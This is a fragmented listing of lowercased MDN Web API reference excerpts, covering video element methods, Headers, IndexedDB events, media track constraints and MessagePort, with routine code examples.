this may be useful for playback of a webcam video, providing the user with better mirroring of their real behaviors (ie.
HTMLVideoElement.msInsertVideoEffect() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
... return value
this method does not return a value.
msSetVideoRectangle - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
... return value
this method does not return a value.
HTMLVideoElement.msZoom - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
... example
this examples gets a video object and sets the mszoom property to true.
Headers.get() - Web APIs
if the given name is not the name of an http header,
this method throws a typeerror.
... returns a bytestring sequence representing the values of the retrieved header or null if
this header is not set.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty myheaders.get('not-set'); // returns null you could add a header to
this using headers.append, then retrieve it using get(): myheaders.append('content-type', 'image/jpeg'); myheaders.get('content-type'); // returns "image/jpeg" if the header has multiple values associated with it, the byte string will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.get('accept-encoding'); // returns "deflate,gzip" note: headers.getall used to have
this functionality, with headers.get returning only the first value added to the headers object.
Headers.getAll() - Web APIs
obsolete since gecko 52 (firefox 52 / thunderbird 52 / seamonkey 2.49)
this feature is obsolete.
...if the given name is not the name of an http header,
this method throws a typeerror.
... example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to
this using headers.append, then retrieve it using getall(): myheaders.append('content-type', 'image/jpeg'); myheaders.getall('content-type'); // returns [ "image/jpeg" ] if the header has multiple values associated with it, the array will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.getall('accept-encoding'); // returns [ "deflate", "gzip" ] note: use headers.get to return only the first value added to the headers object.
History.back() - Web APIs
if there is no previous page,
this method call does nothing.
...
this method is asynchronous.
... browser compatibility the compatibility table on
this page is generated from structured data.
HmacKeyGenParams - Web APIs
this should be set to hmac.
...if
this is omitted the length of the key is equal to the length of the digest generated by the digest function you have chosen.
... unless you have a good reason to use a different length, omit
this property and use the default.
IDBCursorWithValue.value - Web APIs
note:
this feature is available in web workers.
... example in
this example we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBCursorWithValue - Web APIs
note:
this feature is available in web workers.
... example in
this example we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase: abort event - Web APIs
bubbles yes cancelable no interface event event handler property onabort examples
this example opens a database (creating the database if it does not exist), then opens a transaction, adds a listener to the abort event, then aborts the transaction to trigger the event.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; db.addeventlistener('abort', () => { console.log('tr...
... the data const transaction = db.transaction(['todolist'], 'readwrite'); // abort the transaction transaction.abort(); }; the same example, but assigning the event handler to the onabort property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: fals...
IDBDatabase: close event - Web APIs
this could happen, for example, if the underlying storage is removed or if the user clears the database in the browser's history preferences.
... bubbles no cancelable no interface event event handler property onerror examples
this example opens a database and listens for the close event: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createin...
...onst db = dbopenrequest.result; db.addeventlistener('close', () => { console.log('database connection closed'); }); }; the same example, using the onclose property instead of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: fals...
IDBDatabase.objectStoreNames - Web APIs
note:
this feature is available in web workers.
...
this is used a lot below db = dbopenrequest.result; //
this line will log the version of the connected database, which should be // an object that looks like { ['my-store-name'] } console.log(db.objectstorenames); }; specifications specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase.onclose - Web APIs
this can happen, for example, when the application is shut down or access to the disk the database is stored on is lost while the database is open.
... note:
this feature is available in web workers.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBDatabase: versionchange event - Web APIs
bubbles no cancelable no interface event event handler property onversionchange examples
this example opens a database and, on success, adds a listener to versionchange: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore...
...minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.addeventlistener('success', event => { const db = event.target.result; db.addeventlistener('versionchange', event => { console.log('the version of
this database has changed'); }); }); the same example, using the onversionchange event handler property: // open the database const dbopenrequest = window.indexeddb.open('nonexistent', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; // create an objectstore for
this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); //...
... }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = event.target.result; db.onversionchange = event => { console.log('the version of
this database has changed'); }; }; ...
IDBEnvironment - Web APIs
important: the indexeddb property that was previously defined in
this mixin is instead now windoworworkerglobalscope.indexeddb (that is, defined as a member of the windoworworkerglobalscope mixin).
... note:
this feature is available in web workers.
... example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open("todolist"); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; }; } browser compatibility the compatibility table on
this page is generated from structured data.
IDBIndex.name - Web APIs
note:
this feature is available in web workers.
...we then open a basic cursor on the index using idbindex.opencursor() —
this works the same as opening a cursor directly on an idbobjectstore using opencursor() except that the returned records are sorted based on the index, not the primary key.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBKeyRange.upperBound() - Web APIs
note:
this feature is available in web workers.
... exceptions
this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBLocaleAwareKeyRange - Web APIs
methods
this interface inherits all the methods of its parent interface, idbkeyrange.
... properties
this interface inherits all the properties of its parent interface, idbkeyrange.
...
this is because when you use bound(), it checks if lower bound < upper bound, and throws an exception if that’s not the case.
IDBObjectStore.getAllKeys() - Web APIs
this method produces the same result for: a record that doesn't exist in the database a record that has an undefined value to tell these situations apart, you need to call the opencursor() method with the same key.
... return value an idbrequest object on which subsequent events related to
this operation are fired.
... exceptions
this method may raise a domexception of one of the following types: exception description transactioninactiveerror
this idbobjectstore's transaction is inactive.
IDBOpenDBRequest: blocked event - Web APIs
interface idbversionchangeevent event handler property onblocked examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false ...
...}); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in
this case the onblocked handler will be executed req2.addeventlistener('blocked', () => { console.log('request was blocked'); }); }; using the onblocked property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the o...
...x('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { // let's try to open the same database with a higher revision version const req2 = indexeddb.open('todolist', 5); // in
this case the onblocked handler will be executed req2.onblocked = () => { console.log('request was blocked'); }; }; ...
IDBOpenDBRequest.onupgradeneeded - Web APIs
note:
this feature is available in web workers.
...var request = window.indexeddb.open("library", 3); //
this event handles the event whereby a new version of the // database needs to be created.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBOpenDBRequest: upgradeneeded event - Web APIs
bubbles no cancelable no interface event event handler onupgradeneeded examples
this example opens a database and handles the upgradeneeded event by making any necessary updates to the object store.
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.addeventlistener('upgradeneeded', event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); });
this is the same example, but uses the onupgradeneeded event handle...
... // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; console.log(`upgrading to version ${db.version}`); // create an objectstore for
this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; ...
IDBTransaction.commit() - Web APIs
note:
this feature is available in web workers.
...duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("myobjstore"); // add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of the request (
this does not mean the item // has been stored successfully in the db - for that you need transaction.onsuccess) note.innerhtml += '<li>request successful.</li>'; }; // force the changes to be committed to the database asap transaction.commit(); specification specification status comment indexed database api draftthe definition of 'idbtransaction.commit()' in that speci...
... browser compatibility the compatibility table on
this page is generated from structured data.
IDBVersionChangeEvent.newVersion - Web APIs
note:
this feature is available in web workers.
... //
this is used a lot later on, for opening transactions and suchlike.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
IDBVersionChangeEvent - Web APIs
note:
this feature is available in web workers.
... warning: while
this property is still implemented in older browsers, the latest specification replaces it with the oldversion and newversion attributes.
...
this is used a lot later on, for opening transactions and suchlike.
ImageBitmapRenderingContext - Web APIs
this interface is available in both the window and the worker context.
... methods imagebitmaprenderingcontext.transferfromimagebitmap() displays the given imagebitmap in the canvas associated with
this rendering context.
...
this was previously named transferimagebitmap(), but was renamed in a spec change.
ImageCapture.getPhotoSettings() - Web APIs
the user agent selects the closest width value to
this setting if it only supports discrete heights.
...the user agent selects the closest width value to
this setting if it only supports discrete widths.
...
this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a device's mediastream.
InputEvent - Web APIs
properties
this interface inherits properties from its parents, uievent and event.
...
this may be an empty string if the change doesn't insert text (such as when deleting characters, for example).
... methods
this interface inherits methods from its parents, uievent and event.
InstallEvent - Web APIs
this interface inherits from the extendableevent interface.
... examples
this code snippet is from the service worker prefetch sample (see prefetch running live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall and delays treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully.
...although
this example has only one cache, you can use
this approach for multiple caches.
IntersectionObserver.takeRecords() - Web APIs
the intersectionobserver method takerecords() returns an array of intersectionobserverentry objects, one for each targeted element which has experienced an intersection change since the last time the intersections were checked, either explicitly through a call to
this method or implicitly by an automatic call to the observer's callback.
... note: if you use the callback to monitor these changes, you don't need to call
this method.
... calling
this method clears the pending intersection list, so the callback will not be run.
KeyboardEvent.keyCode - Web APIs
this is usually the decimal ascii (rfc 20) or windows 1252 code corresponding to the key.
... if the key can't be identified,
this value is 0.
... you should avoid using
this if possible; it's been deprecated for some time.
LinearAccelerationSensor - Web APIs
to use
this sensor, the user must grant permission to the 'accelerometer' device sensor through the permissions api.
...
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
LockedFile.location - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this value is changed automatically after every read and write operation.
...
this property can be changed at will.
Magnetometer - Web APIs
to use
this sensor, the user must grant permission to the 'magnetometer' device sensor through the permissions api.
...
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
MediaElementAudioSourceNode - Web APIs
mediaelement read only the htmlmediaelement used when constructing
this mediastreamaudiosourcenode.
... example
this simple example creates a source from an <audio> element using createmediaelementsource(), then passes the audio through a gainnode before feeding it into the audiodestinationnode for playback.
... note: you can also view
this example running live, or view the source.
MediaKeyStatusMap.forEach() - Web APIs
syntax mediakeystatusmap.foreach(callback[,
thisarg]) parameters callback function to execute for each element, taking three arguments: currentvalue the current element being processed in the array.
...
thisarg optional value used as
this when executing callback.
... browser compatibility the compatibility table on
this page is generated from structured data.
MediaPositionState.playbackRate - Web APIs
this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer.
... for example, a browser might use
this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
... example in
this example, an app is updating the browser to let it know that the user has clicked a button causing the playback to shift to a double-speed mode.
MediaRecorder.mimeType - Web APIs
this is the file format of the file that would result from writing all of the recorded data to disk.
...
this string may include the codecs parameter, giving details about the codecs and the codec configurations used by the media recorder.
... mimetype: 'video/mp4; codecs="avc1.424028, mp4a.40.2"' assuming
this configuration is acceptable to the user agent, the value returned later by m.mimetype would then be video/mp4; codecs="avc1.424028, mp4a.40.2".
MediaRecorder.ondataavailable - Web APIs
this occurs in four situations: when the media stream ends, any media data not already delivered to your ondataavailable handler is passed in a single blob.
... when mediarecorder.stop() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered in a blob; after
this, capturing ends.
...so if the method call looked like
this — recorder.start(1000); — the dataavailable event would fire after each second of media capture, and our event handler would be called every second with a blob of media data that's one second long.
MediaRecorderErrorEvent.error - Web APIs
this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input device.
...
this also happens when a mediastreamtrack within the stream is marked as isolated due to the peeridentity constraint on the source stream.
... example
this function creates and returns a mediarecorder for a given mediastream, configured to buffer data into an array and to watch for errors.
Media Session action types - Web APIs
this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance.
...
this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscription level or other circumstances.
... examples adding action handlers
this example implements seek forward and backward actions for an audio player by setting up the seekforward and seekbackward action handlers.
MediaSettingsRange - Web APIs
properties mediasettingsrange.max returns the maximum value of
this settings.
... mediasettingsrange.min returns the minimum value of
this setting.
... mediasettingsrange.step returns the minimum difference between consecutive values of
this setting.
MediaSource.endOfStream() - Web APIs
this can be used create a custom error handler related to media streams.
...
this can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode.
... mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(
this.readystate); // open var mediasource =
this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specif...
MediaStream.ended - Web APIs
this value once the ended event has been fired.
...
this property has been removed from the specification; you should instead rely on the ended event or check the value of mediastreamtrack.readystate to see if its value is "ended" for the track or tracks you want to ensure have finished playing.
...
this property was part of earlier drafts of the media capture and streams specification.
MediaStream.getAudioTracks() - Web APIs
the getaudiotracks() method of the mediastream interface returns a sequence that represents all the mediastreamtrack objects in
this stream's track set where mediastreamtrack.kind is audio.
... early versions of
this api included a special audiostreamtrack interface which was used as the type for each entry in the list of audio streams; however,
this has since been merged into the main mediastreamtrack interface.
... example
this example gets a webcam's audio and video in a stream using getusermedia(), attaches the stream to a <video> element, then sets a timer that, upon expiring, will stop the first audio track found on the stream.
MediaStreamConstraints.audio - Web APIs
see security in mediadevices.getusermedia() for details and examples on how to configure
this.
... using a boolean value in
this example, we provide a simple value of true for the audio property.
...
this tells getusermedia() that we require an audio track, but we don't care about any specifics beyond that.
MediaStreamTrack.applyConstraints() - Web APIs
if
this parameter is omitted, all currently set custom constraints are cleared.
...
this object represents the basic set of constraints that must apply for the promise to resolve.
...
this can happen if the specified constraints are too strict to find a match when attempting to configure the track.
MediaStreamTrack: mute event - Web APIs
bubbles no cancelable no interface event event handler property onmute examples in
this example, event handlers are established for the mute and unmute events in order to detect when the media is not flowing from the source for the mediastreamtrack referenced by musictrack.
... you can also use the onmute event handler property to set up a handler for
this event; similarly, the onunmute event handler is available for setting up a handler for the unmute event.
... the following example shows
this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification.
MediaTrackConstraints.autoGainControl - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { autogaincontrol: constraint }; constraintsobject.autogaincontrol = constraint; value if
this value is a simple true or false, the user agent will attempt to obtain media with automatic gain control enabled or disabled as specified, if possible, but will not fail if
this can't be done.
MediaTrackConstraints.noiseSuppression - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { noisesuppression: constraint }; constraintsobject.noisesuppression = constraint; value if
this value is a simple true or false, the user agent will attempt to obtain media with noise suppression enabled or disabled as specified, if possible, but will not fail if
this can't be done.
MediaTrackConstraints - Web APIs
this may be because a given browser doesn't support the property, or because it doesn't apply.
...
this is either an object in the form { x:value, y:value } or an array of such objects, where value is a double-precision integer.
...
this may be a single one of the following strings, or a list of them to allow multiple source surfaces: application the stream contains all of the windows of the application chosen by the user rendered into the one video track.
MediaTrackSettings.aspectRatio - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.aspectratio property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.channelCount - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.channelcount property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.frameRate - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.framerate property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.height - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.height property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.sampleRate - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.samplerate property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.sampleSize - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.samplesize property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.volume - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.volume property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.width - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.width property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax aspectconstraintsupported = supportedconstraintsdictionary.aspectratio; value
this property is present in the dictionary (and its value is always true) if the user agent supports the aspectratio constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.channelCount - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax channelcountconstraintsupported = supportedconstraintsdictionary.channelcount; value
this property is present in the dictionary (and its value is always true) if the user agent supports the channelcount constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.deviceId - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax deviceidconstraintsupported = supportedconstraintsdictionary.deviceid; value
this property is present in the dictionary (and its value is always true) if the user agent supports the deviceid constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.echoCancellation - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax echocancellationconstraintsupported = supportedconstraintsdictionary.echocancellation; value
this property is present in the dictionary (and its value is always true) if the user agent supports the echocancellation constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.facingMode - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax facingmodeconstraintsupported = supportedconstraintsdictionary.facingmode; value
this property is present in the dictionary (and its value is always true) if the user agent supports the facingmode constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.groupId - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax groupidconstraintsupported = supportedconstraintsdictionary.groupid; value
this property is present in the dictionary (and its value is always true) if the user agent supports the groupid constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.height - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax heightconstraintsupported = supportedconstraintsdictionary.height; value
this property is present in the dictionary (and its value is always true) if the user agent supports the height constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.latency - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax latencyconstraintsupported = supportedconstraintsdictionary.latency; value
this property is present in the dictionary (and its value is always true) if the user agent supports the latency constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.sampleRate - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax samplerateconstraintsupported = supportedconstraintsdictionary.samplerate; value
this property is present in the dictionary (and its value is always true) if the user agent supports the samplerate constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.sampleSize - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax samplesizeconstraintsupported = supportedconstraintsdictionary.samplesize; value
this property is present in the dictionary (and its value is always true) if the user agent supports the samplesize constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.volume - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax volumeconstraintsupported = supportedconstraintsdictionary.volume; value
this property is present in the dictionary (and its value is always true) if the user agent supports the volume constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MediaTrackSupportedConstraints.width - Web APIs
if the constraint isn't supported, it's not included in the list, so
this value will never be false.
... syntax widthconstraintsupported = supportedconstraintsdictionary.width; value
this property is present in the dictionary (and its value is always true) if the user agent supports the width constraint.
... if the property isn't present,
this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value.
MerchantValidationEvent.complete() - Web APIs
exceptions
this exception may be passed into the rejection handler for the promise: invalidstateerror the event did not come directly from the user agent, but was instead dispatched by other code.
... example in
this example, we see the client-side code needed to support merchant validation for a payment request called payrequest: payrequest.onmerchantvalidation = event => { const validationdatapromise = getvalidationdata(event.validationurl); event.complete(validationdatapromise); } function getvalidationdata(url) { /* ...retrieve the validation data from the url...
... */ }
this code sets up a handler for the merchantvalidation event.
MessagePort.close() - Web APIs
this stops the flow of messages to that port.
... note:
this feature is available in web workers.
... example in the following code block, you can see a handlemessage handler function, run when a message is sent back to
this document using eventtarget.addeventlistener.
MessagePort: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like
this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessa...
...ge('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages on it using code like
this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to
this port.
...
this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; }); specifications specification status html living standard living standard ...
MessagePort: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like
this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targ...
...etframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages and message errors on it using code like
